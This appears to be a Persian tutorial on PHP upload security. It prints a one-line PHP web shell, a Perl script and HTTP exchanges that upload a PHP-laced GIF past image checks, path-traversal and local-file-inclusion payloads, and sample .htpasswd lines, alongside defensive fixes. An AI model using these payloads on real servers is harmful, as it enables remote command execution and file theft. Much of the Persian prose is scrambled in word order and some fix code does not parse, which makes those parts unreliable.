Content-Type: multipart/form-data; boundary=xYzZY 
Content-Length: 155 
 
--xYzZY 
 
Content-Disposition: form-data; name="userfile"; filename="shell.php" 
Content-Type: image/gif 
 
<?php 
system($_GET['command']); 
?> 
 
--xYzZY— 
 
HTTP/1.1 200 OK 
Date: Thu, 31 May 2007 14:33:35 GMT 
Server: Apache 
X-Powered-By: PHP/4.4.4-pl6-gentoo 
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Content-Length: 42 
Connection: close 
Content-Type: text/html 
 
Sorry, we only accept GIF and JPEG images 
 

 gifتواند با خيال راحت كنار بنشيند و تصور كند كه هيچ فايلي به جز  شايد فكر كنيد حالا ديگر وبمستر مي

 gifتواند در عين حال كه يك عكس  آپلود نخواهد شد! اما متأسفانه اين كافي نيست! يك فايل مي jpegيا 

  نيز باشد! PHPاسكريپت معتبر است، يك  jpegيا 

با استفاده از نرم  توان به سادگي كنند. مي ك توضيحات متني براي خود قبول ميها ي بسياري از عكس

باشد. وقتي  PHPيك قطعه كد معتبر حاوي فايل عكسي ساخت كه  يا فتوشاپ، GIMPافزارهايي مثل 

getsizeimage() را يك عكس  كند، آن به محتواي فايل نگاه ميgif  ياjpeg دهد،  معتبر تشخيص مي

 كند. را اجرا مي در آن يافته و آن PHPكند، يك قطعه كد معتبر  فايل را اجرا مي PHPترجم اما وقتي م

را دانلود كرده و با نرم افزاري مثل  http://img.aftab.cc/c.gifدر آدرس  c.gifعكسي با نام 

NotePadd++  باز نماييد و دنبال<?php را با نرم افزار نمايش عكس  بگرديد. خواهيد ديد كه اگر آن

  است. PHPرا جستجو كنيد، حاوي كد  باز كنيد، عكس است، اما اگر محتواي آن

را به صورت  c.gifاست، فايل نوشته شده  PERLبا استفاده از قطعه كد زير كه به زبان تواند  هكر مي

c.php :آپلود كند  

#!/usr/bin/perl 
# 
 
use LWP; 
use HTTP::Request::Common; 
 
$ua = $ua = LWP::UserAgent->new;; 
 
$res = $ua->request(POST 'http://localhost/upload3.php', 
      Content_Type => 'form-data', 
      Content => [ 
      userfile => ["c.gif", "c.php", "Content-Type" => "image/gif"],], 
  ); 
print $res->as_string(); 
 

  شود: به صورت زير توليد مي HTTPبا اجراي اين فايل، يك تقاضاي 

POST /upload3.php HTTP/1.1 
TE: deflate,gzip;q=0.3 
Connection: TE, close 
Host: localhost 
User-Agent: libwww-perl/5.803 
Content-Type: multipart/form-data; boundary=xYzZY 
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Content-Length: 14835 
 
--xYzZY 
Content-Disposition: form-data; name="userfile"; filename="crocus.php" 
Content-Type: image/gif 
GIF89a(...some binary data...)<?php phpinfo(); ?>(... skipping the rest of 
binary data ...) 
 
--xYzZY-- 
HTTP/1.1 200 OK 
Date: Thu, 31 May 2007 14:47:24 GMT 
Server: Apache 
X-Powered-By: PHP/4.4.4-pl6-gentoo 
Content-Length: 59 
Connection: close 
Content-Type: text/html 
 
<pre>File is valid, and was successfully uploaded. 
</pre> 

  را ببينيد: نتيجه آن را فراخواني كند! uploads/c.phpتواند فايل  حالا كاربر مي
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  فايل آپلود شده پسوندبررسي 

خوانندگان محترم شايد سؤال كنند كه چرا از همان اول، پسوند فايل را بررسي نكرديم تا اگر در ليست سياه 

ها را به عنوان كد  را ندهيم، سرور نيز آن PHPهاي  بود، آپلود نشود؟ اگر ما اجازه آپلود پسوندهاي فايل

  كند.  گيرد و اجرا نمي در نظر نمي PHPاجرايي 

  اجازه دهيد اين فرض را داشته باشيم.

توانيم يك ليست سياه از پسوندهاي غيرمجاز در قالب يك آرايه بسازيم و اگر  همانطور كه گفته شد، ما مي

  پسوند فايل آپلود شده در اين ليست بود، اجازه آپلود داده نشود:

 upload4.phpمحتويات فايل 

<?php 
$blacklist = array(".php", ".phtml", ".php3", ".php4"); 
foreach ($blacklist as $item)  
{ 
    if(preg_match("/$item\$/i", $_FILES['userfile']['name']))  
    { 
        echo "We do not allow uploading PHP files\n"; 
        exit; 
    } 
} 
$uploaddir = 'uploads/'; 
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']); 
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile))  
{ 
    echo "File is valid, and was successfully uploaded.\n"; 
} else { 
    echo "File uploading failed.\n"; 
} 
?> 

 

كند كه  بررسي مي name']['userfile'[$_FILES ,$/i"\$item"/(preg_match'([عبارت 

كند  در انتهاي الگو، مشخص مي iخنم نشود. حرف  blacklist$) به يكي از موارد آرايه $انتهاي نام فايل (

  كه پسوند چه با حروف كوچك انگليسي و چه با حروف بزرگ بود، در نظر گرفته شود.

  آپلود كند، خواهيم داشت: phpاگر هكر بخواهد فايلي با پسوند 

POST /upload4.php HTTP/1.1 
TE: deflate,gzip;q=0.3 
Connection: TE, close 
Host: localhost 
User-Agent: libwww-perl/5.803 
Content-Type: multipart/form-data; boundary=xYzZY 
Content-Length: 14835 

 
--xYzZY 
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Content-Disposition: form-data; name="userfile"; filename="crocus.php" 
Content-Type: image/gif 
GIF89(...skipping binary data...) 
 
--xYzZY— 
 
HTTP/1.1 200 OK 
Date: Thu, 31 May 2007 15:19:45 GMT 
Server: Apache 
X-Powered-By: PHP/4.4.4-pl6-gentoo 
Content-Length: 36 
Connection: close 
Content-Type: text/html 
 
We do not allow uploading PHP files 
 

  آپلود شود، خواهيم داشت: gif.اگر فايلي با پسوند 

POST /upload4.php HTTP/1.1 
TE: deflate,gzip;q=0.3 
Connection: TE, close 
Host: localhost 
User-Agent: libwww-perl/5.803 
Content-Type: multipart/form-data; boundary=xYzZY 
Content-Length: 14835 
 
--xYzZY 
Content-Disposition: form-data; name="userfile"; filename="crocus.gif" 
Content-Type: image/gif 
 
GIF89(...skipping binary data...) 
--xYzZY— 
 
HTTP/1.1 200 OK 
Date: Thu, 31 May 2007 15:20:17 GMT 
Server: Apache 
X-Powered-By: PHP/4.4.4-pl6-gentoo 
Content-Length: 59 
Connection: close 
Content-Type: text/html 
 
<pre>File is valid, and was successfully uploaded. 
</pre> 

آپلود شود، اجرا نخواهد شد و به صورت عكس  PHPشامل كدهاي حالا اگر حتي همان فايل با محتواي 

  ديده خواهد شد:
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  توان با خيال راحت كنار نشست و عملكرد امن سيستم را شاهد بود؟ خوب، با اين حساب، آيا مي

  متأسفانه خير!

سرور بستگي دارد و  ترجمه و پردازش شوند، به تنظيمات وب PHPاينكه چه پسوندهايي توسط مترجم 

ايم  سرورهايي را ديده سرور خود ندارد. ما وب نويس، اطلاعات يا كنترل كافي روي تنظيمات وب معمولاً برنامه

ارسال و پردازش كنند. ممكن  PHPرا به نرم افزار  js.يا  html.اند كه پسوندهاي  كه طوري تنظيم شده

ترجمه شوند و در اين شرايط  PHPبا  jpeg.و  gif.ها نياز داشته باشند كه پسوندهاي  برنامهاست برخي 

ها، از جمله  مجدداً خطر اجراي قطعه كد مخفي شده در عكس وجود دارد! (به خصوص در شرايطي كه عكس

  شوند) روي سرور ايجاد مي PHPها و نمودارها به صورت پويا از طريق يك اسكپريت  گراف

شوند، هيچ تضميني وجود ندارد كه به  ترجمه مي PHPمطمئن باشيد كه دقيقاً چه پسوندهايي با ي اگر حت

دليل نصب يك برنامه جديد، تنظيمات در آينده تغيير نكند! ممكن است در آن زمان همه فراموش كنند كه 

  سيستم وابسته به آن تنظيمات است.امنيت 
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  آپلود شدههاي  دسترسي غيرمستقيم به فايل

ها براي رفع مشكلات بالا، جلوگيري از دسترسي مستقيم به فايل آپلود شده است. اين كار  يكي از راه حل

و جلوگيري از  در روت (روت) و يا آپلود در يك پوشه wwwاي خارج از  تواند با آپلود فايل در پوشه مي

  دسترسي مستقيم به آن صورت گيرد.

  upload5.phpمحتويات فايل 
<?php 
$uploaddir = '/var/spool/uploads/'; # Outside of web root 
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']); 
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile))  
{ 
    echo "File is valid, and was successfully uploaded.\n"; 
} 
else 
{ 
    echo "File uploading failed.\n"; 
} 
?> 

دسترسي نخواهد داشت. بنابراين بايد  /var/spool/uploads/در مثال بالا كاربر مستقيماً به پوشه 

  تدبيري براي دسترسي به آن انديشيده شود.

  شايد به اين صورت و يا مشابه آن:

 view5.phpمحتويات فايل 
<?php 
$uploaddir = '/var/spool/uploads/'; 
$name = $_GET['name']; 
readfile($uploaddir.$name); 
?> 

هاي  تواند به راحتي هر فايلي در محل و آن اينكه يك كاربر بدخواه مي اما اين كد يك خط بسيار بزرگ دارد

مختلف سايت شما كه امكان دسترسي نداشته باشد را از اين طريق بخواند! تصور كنيد در مثال بالا، حمله 

  كننده چنين آدرسي را فراخواني كند:

http://www.example.com/view5.php?name=../../../etc/passwd 

  را خواهد ديد! passwdاو احتمالاً تمام پسوردهاي داخل فايل 
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  1»شامل كردن فايل محلي«حمله 

نويسان مبتدي، خواندن نام فايل از داخل كوكي و يا از روي يك فرم و  ترين اشتباهات برنامه يكي از شايع

  كردن آن است! includeسپس 

 Local file inclusion attackتواند موجب يك حمله خطرناك شود كه در اصطلاح به آن  اين كار مي

  شود. گفته مي

رض كنيد قرار است يك سايت چند زبانه طراحي كنيم. كاربري كه براي اينكه موضوع بهتر مشخص شود، ف

 langكند. حالا ما نسبت به انتخاب او، يك كوكي به نام  را انتخاب مي Englishشود، زبان  وارد سايت مي

كنيم و از طبق قطعه كد زير، فايل  را در آن ذخيره مي englishكنيم و عبارت  روي سيستمش ايجاد مي

english.php  راinclude كنيم: مي  

<?php 
# ... some code here 
if(isset($_COOKIE['lang']))  
{ 
    $lang = $_COOKIE['lang']; 
}  
elseif (isset($_GET['lang']))  
{ 
    $lang = $_GET['lang']; 
}  
else  
{ 
    $lang = 'english'; 
} 
include("language/$lang.php"); 
# ... some more code here 
?> 

 
از روي سايت خودمان باز  php.كردن هر فايلي با پسوند  includeدست هكر را براي با اين كار، عملاً 

  ايم! گذاشته

شود، به راحتي كوكي را باز كرده و هر عبارتي كه  تواند در مواردي كه نام فايل از كوكي خوانده مي هكر مي

  خواست داخل آن بنويسد! مثلاً:

../../../../../../../tmp/phpinfo 

  كند، به آدرس زير برود: مي getو يا اگر از طريق پارامترهاي نوار آدرس 

http://www.example.com/local_include.php?lang=../../../../../../../tmp/phpinfo 

                                                           
1
 Local file inclusion attacks 
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كه در  "language/../../../../../../../../tmp/phpinfo.php"شود كه فايل  اين فراخواني باعث مي

  است اجرا شود! "tmp/phpinfo.php/"حقيقت همان 

 هايي كه روي سرور است را اجرا كند، اما اگر به هر طريقي بتواند فقط فايليتواند  البته در اين حالت هكر مي

  خطرناك خواهد بود! Shellروي اين سرور آپلود كند، آن فايل مطمئن يك  phpيك فايل با پسوند 

شود صورت  هايي كه چند زبان و يا چند قالب دارند كه توسط كاربر انتخاب مي اين اشتباه معمولاً در سايت

  گيرد. مي

دقت كنيد كه در اين موارد بايد براي هر قالب يا زبان يك كد (چه بهتر كه كد عددي باشد) در نظر بگيريد 

و كد زبان يا قالب مورد نظر را در كوكي ذخيره كنيد. حالا نسبت به عدد موجود در كوكي (و يا دريافت شده 

  شود. include) تصميم بگيريد كه كدام فايل GETاز طريق 

<?php 
# ... some code here 
if(isset($_COOKIE['lang']))  
{ 
    $lang_id = sprintf("%d",$_COOKIE['lang']); 
}  
elseif (isset($_GET['lang']))  
{ 
    $lang_id = sprintf("%d",$_GET['lang']); 
}  
else  
{ 
    $lang_id = 1; 
} 
$lang = ""; 
switch($lang_id) 
{ 
    case 1: 
        $lang = "english"; 
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        break; 
    case 2: 
        $lang = "persian"; 
        break; 
    case 3: 
        $lang = "arabic"; 
        break; 
     
    default: 
        die('Invalid Language!'); 
        break; 
} 
 
include("language/$lang.php"); 
# ... some more code here 
?> 
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  سازي مركز آپلود ضعيت براي پيادهبهترين ونتيجه: 

رسد راه  پس از مطرح كردن مشكلات مختلفي كه ممكن است از طرف مركز آپلود به وجود آيد، به نظر مي

  باشد. 1سازي ارجاعي حل نهايي، استفاده از پياده

و ثانياً نام  /var/spool/uploads/شوند. مثلاً  ها در محلي خارج از روت ذخيره مي در اين روش اولاً فايل

دهيم و سپس اين  كنيم و يا يك عدد يا عبارت رندوم در ابتداي آن قرار مي فايل را به صورت رندوم توليد مي

  كنيم. هاي بعدي در ديتابيس ذخيره مي نام را براي دسترسي

  upload6.phpيات فايل محتو
<?php 
require_once 'DB.php'; # We are using PEAR::DB module 
$uploaddir = '/var/spool/uploads/'; # Outside of web root 
$uploadfile = tempnam($uploaddir, "upload_"); # creating a unique name 
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) { 
    # Saving information about this file in the DB 
    $db =& DB::connect("mysql://username:password@localhost/database"); 
    if(PEAR::isError($db)) { 
        unlink($uploadfile); 
        die "Error connecting to the database"; 
    } 
    $res = $db->query("INSERT INTO uploads SET name=?, original_name=?, 
    mime_type=?", 
    array(basename($uploadfile, 
    basename($_FILES['userfile']['name']), 
    $_FILES['userfile']['type'])); 
    if(PEAR::isError($res)) { 
        unlink($uploadfile); 
        die "Error saving data to the database. The file was not uploaded"; 
    } 
    $id = $db->getOne('SELECT LAST_INSERT_ID() FROM uploads');# MySQL specific 
    echo "File is valid, and was successfully uploaded. You can view it <a 
    href=\"view6.php?id=$id\">here</a>\n"; 
} else { 
    echo "File uploading failed.\n"; 
} 
?> 

  

  خواندن فايل آپلود شده:

براي خواندن و نمايش فايل آپلود شده، با توجه به اينكه كاربر امكان دسترسي مستقيم به پوشه آپلود را 

  دهيم: كنيم و به او نمايش مي بازتوليد مي phpندارد، ما فايل را در قالب يك فايل 

  view6.php فايل حتوياتم
<?php 
require_once 'DB.php'; 

                                                           
1
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$uploaddir = '/var/spool/uploads/'; 
$id = $_GET['id']; 
if(!is_numeric($id)) { 
    die("File id must be numeric"); 
} 
$db =& DB::connect("mysql://root@localhost/db"); 
if(PEAR::isError($db)) { 
    die("Error connecting to the database"); 
} 
$file = $db->getRow('SELECT name, mime_type FROM uploads WHERE id=?', 
array($id), DB_FETCHMODE_ASSOC); 
if(PEAR::isError($file)) { 
    die("Error fetching data from the database"); 
} 
if(is_null($file) || count($file)==0) { 
    die("File not found"); 
} 
header("Content-Type: " . $file['mime_type']); 
readfile($uploaddir.$file['name']); 
?> 

 
تواند مستقيماً به فايل دسترسي داشته باشد، چون خارج از روت  در اين پياده سازي، حمله كننده نمي

هاي ديگر و ترتيب  كردن در فايل includeتواند از فايل آپلود شده براي  ذخيره شده است. از طرفي نمي

  دادن حمله استفاده كند، چون هرگز نام اصلي فايل را نخواهد دانست!

) دسترسي خواهد داشت و فايل او در numeric idز اين پس به فايل از طريق يك شناسه عددي (كاربر ا

  حقيقت چنين آدرسي خواهد داشت:

View6.php?id=1 

اند كه يك عدد باشند و نه هر  بررسي شده is_numericها با تابع  بنابراين در قطعه كد بالا نام فايل

  جلوگيري به عمل آيد. local inclusionعبارتي كه كاربر خواست! تا از حمله 

 

  راه حل ديگر: ذخيره سازي فايل در ديتابيس

در ديتابيس است كه البته  BLOB، ذخيره سازي فايل در قالب يك روش ديگر جهت جلوگيري از حملات

  صرفه نيست. به دهد، چندان مقرون هاي حجيم با توجه به اينكه كارايي سيستم را كاهش مي در مورد فايل
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  ها كردن محتويات پوشهعدم امكان ليست 

گيرد، عدم  ها مد نظر قرار نمي ها توسط مديران سايت يكي ديگر از مواردي كه متأسفانه در بسياري از سايت

  ها توسط كاربران است. امكان ليست كردن محتويات پوشه

وجود دارد دارد كه مربوط به نوع  Index Managerها بخشي به نام  هاي سايت در اكثر كنترل پنل

  ها است. نمايش محتويات پوشه

  

 Noهاي حياتي سايت را انتخاب و گزينه  با مراجعه به اين بخش پوشه ها بهتر است مديران سايت

Indexing .را انتخاب كنند  

  

مه مديران توانيم تضمين كنيم كه ه اما مشخص است كه ما به عنوان طراح يك سيستم مديريت محتوا، نمي

هاي مربوط به سيستم در دست طراحي (كه  كار را انجام دهند. بنابراين، وظيفه ماست كه در تمام پوشهاين 

تواند  قرار دهيم كه مي index.htmlفايلي به نام نيستند، مثل پوشه آپلود فايل)  indexخود داراي فايل 

در آن نباشد، تا به محض فراخواني آن پوشه، اين فايل  Access Deniedهيچ محتوياتي به جز عبارت 

  اجرا شده و از مشاهده محتويات آن جلوگيري كند:
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  ها ها و فايل سطح دسترسي پوشه

هر  هاست. ها و پوشه ها معمولاً از آن غافل هستند، سطح دسترسي فايل يكي از مواردي كه مديران سايت

ي به مسائل امنيتي توجه دارند، اما ممكن است سايت شما بر روي يك چند اين روزها سرورها به اندازه كاف

  ) باشد و تنظيمات سرور چندان امن نباشد.Shared Serverسرور اشتراكي (

  هستند ممكن است تحت خطر باشند. 777هايي كه داراي سطح دسترسي  در اين حالت، پوشه

و  public_htmlسطح دسترسي پوشه مربوط به روت اصلي سايت خود يعني ها  مديران سايتبهتر است 

ها را  زيرپوشهو در اينصورت مشكلي نيست اگر  دنيا كمتر تنظيم نماي 750را روي  htdocsو يا  wwwيا 

  تنظيم كنند. 777روي 

 

هاي لازم در  هاي خود، راهنمايي در مستندات پروژههاي مديريت محتوا  سيستمطراحان شود  پيشنهاد مي

  را به كاربران خود ارائه كنند.مورد سطح دسترسي 
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  حياتيهاي  ها و فايل قرار دادن پسورد بر روي پوشه

ها، امنيت كل سيستم را  هاي وجود دارند كه به خطر افتادن امنيت آن ها و فايل برنامه تحت وب، پوشهدر هر 

  admin.phpيا فايل  adminاز جمله پوشه  اندازد. به خطر مي

 Password Protectاي به نام  با استفاده از گزينهتواند با مراجعه به كنترل پنل سايت  مدير سايت مي

Directories .(و يا مشابه آن) اقدام به قرار دادن پسورد روي پوشه نمايند  

  

و قرار دادن قطعه كد زير در آن، روي يك فايل  htaccess.توانند با ايجاد فايلي به نام  همينطور مي

  خاص پسورد قرار دهند:

AuthUserFile /.htpasswd 
AuthName "Name of Page" 
AuthType Basic 
<Files "mypage.html"> 
  require valid-user 
</Files> 

  نكاتي در مورد كد بالا:

شود و نام كاربري و پسورد كاربران بايد توسط مدير در روت سايت (/) ايجاد  htpasswd.فايل  -

  معتبر به صورت زير در آن ذخيره گردد:

Hamid:h99l57kkF4g 

Hassan:0U45000hhF4g39 

  گيرند. پسوردها به صورت هش شده در اين فايل قرار مي

 بايد نام و پسوند فايل مورد نظر مدير درج شود. mypage.htmlبه جاي  -

تواند از آن عبور  ها نمي بسيار قوي است كه هكر به همين راحتي اين پسورد در حقيقت يك لايه امنيتي

  كند.

هاي مديريت محتوا كاربران خود را از اين نكته مهم آگاه كرده و روش اين  بهتر است ارائه دهندگان سيستم

  كار را به كاربران آموزش دهند.
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  Denial of serviceخطر حمله 

است. در اين نوع  Denial of serviceگيرد، حمله  صورت مي يكي از حملات كه عمدتاً به مراكز آپلود

كند به طوري كه كل فضاي قابل استفاده، اشغال  ها فايل حجيم مي كننده شروع به آپلود ده حمله، حمله

  شده و سايت از سرويس خارج خواهد شد.

تواند در يك مدت خاص  هايي كه يك كاربر مي هايي در مورد حجم و تعداد فايل طراح برنامه بايد محدوديت

  (مثلاً در يك ساعت يا يك روز) آپلود كند در نظر بگيرد.
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